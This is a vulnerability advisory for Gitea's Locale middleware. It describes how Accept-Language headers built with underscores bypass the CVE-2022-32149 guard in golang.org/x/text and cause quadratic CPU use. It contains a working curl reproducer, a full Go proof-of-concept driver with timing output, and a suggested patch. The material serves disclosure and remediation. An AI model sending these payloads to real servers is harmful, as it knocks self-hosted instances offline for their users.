Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests

Summary

The Locale middleware that runs in front of every unauthenticated request calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.

Affected versions

code.gitea.io/gitea 1.22.6 and (per code inspection of main) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the Accept-Language header before calling ParseAcceptLanguage. Verified on:

• the official gitea/gitea:1.22.6 docker image (E2E below)
• main at commit 6f4027a6be28c876c0abaf37cc939658645b78a3 by reading modules/web/middleware/locale.go (the call site at line 38 is unchanged on main)

Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.

Vulnerable code

modules/web/middleware/locale.go:38 (blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):

// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
    tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
    tag := translation.Match(tags...)
    lang = tag.String()
}

req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path. The fix author of CVE-2022-32149 treated - as the canonical separator; the _ alias was added in 2013, nine years before the fix.

How Accept-Language reaches ParseAcceptLanguage

Every Gitea HTTP request passes through Locale as it is wired up via the global request pipeline (Gitea registers the middleware on its router in routers/web/web.go). The middleware sequence is:

1. The request enters Locale(resp, req).
2. req.URL.Query().Get("lang") returns "" (attacker omits lang).
3. req.Cookie("lang") returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie).
4. req.Header.Get("Accept-Language") returns the full attacker-supplied header value.
5. language.ParseAcceptLanguage(...) runs unfiltered.

No size or character class filter is applied between (4) and (5).

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh gitea/gitea:1.22.6 container:

docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:13000/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against gitea/gitea:1.22.6)

A Go driver poc.go that boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:13000/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official gitea/gitea:1.22.6 image with no other tuning):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.

Target: http://127.0.0.1:13000/

  warm-up (no header)              header=0 B  '_'=0  '-'=0  status=200  t=18.079666ms

--- measurements (single request each) ---
  baseline (no header)             header=0 B  '_'=0  '-'=0  status=200  t=6.480333ms
  baseline (1 short tag)           header=5 B  '_'=0  '-'=1  status=200  t=5.0455ms
  guard-fires control ('-' x 1MiB) header=1048572 B  '_'=0  '-'=104857  status=200  t=26.020625ms
  attack ('_' x 1MiB)              header=1048572 B  '_'=104857  '-'=0  status=200  t=2.159538333s
  attack repeat 2                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.938493583s
  attack repeat 3                  header=1048572 B  '_'=104857  '-'=0  status=200  t=1.679953042s

Interpretation:

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 26 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.

Impact

• One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request.
• Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely.
• The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
• Self-hosted Gitea installations published to the public internet (the common pattern) are exposed.

Suggested fix

Apply the size / character-class filter before reaching ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:

// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values

if len(lang) == 0 {
    al := req.Header.Get("Accept-Language")
    if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
        // Refuse to call into the BCP 47 parser with absurd input.
        al = ""
    }
    tags, _, _ := language.ParseAcceptLanguage(al)
    tag := translation.Match(tags...)
    lang = tag.String()
}

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.

Credit

Reported by tonghuaroot.